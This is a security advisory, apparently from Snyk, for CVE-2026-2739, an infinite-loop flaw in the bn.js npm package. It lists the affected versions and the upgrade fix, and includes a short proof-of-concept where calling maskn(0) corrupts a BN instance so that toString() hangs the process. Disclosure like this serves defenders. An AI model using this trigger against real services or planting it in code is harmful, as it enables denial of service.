Infinite loop Affecting bn.js package, versions <4.12.3>=5.0.0 <5.2.3
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of Concept
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Test your applications- Snyk IDSNYK-JS-BNJS-15274301
- published19 Feb 2026
- disclosed8 Feb 2026
- creditKr0emer
Introduced: 8 Feb 2026
NewCVE-2026-2739 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade bn.js to version 4.12.3, 5.2.3 or higher.
Overview
Affected versions of this package are vulnerable to Infinite loop. Calling maskn(0) on any BN instance corrupts the internal state, causing toString(), divmod(), and other methods to enter an infinite loop, hanging the process indefinitely.
PoC
const BN = require('bn.js'); // any version up to 5.2.2
const x = new BN('1', 10).maskn(0);
// Internal state is now corrupted:
console.log('x.words.length =', x.words.length); // 1
console.log('x.length =', x.length); // 0 (INVALID - should be >= 1)
console.log('x.isZero() =', x.isZero()); // false (WRONG - should be true)
// This will hang forever:
// console.log(x.toString());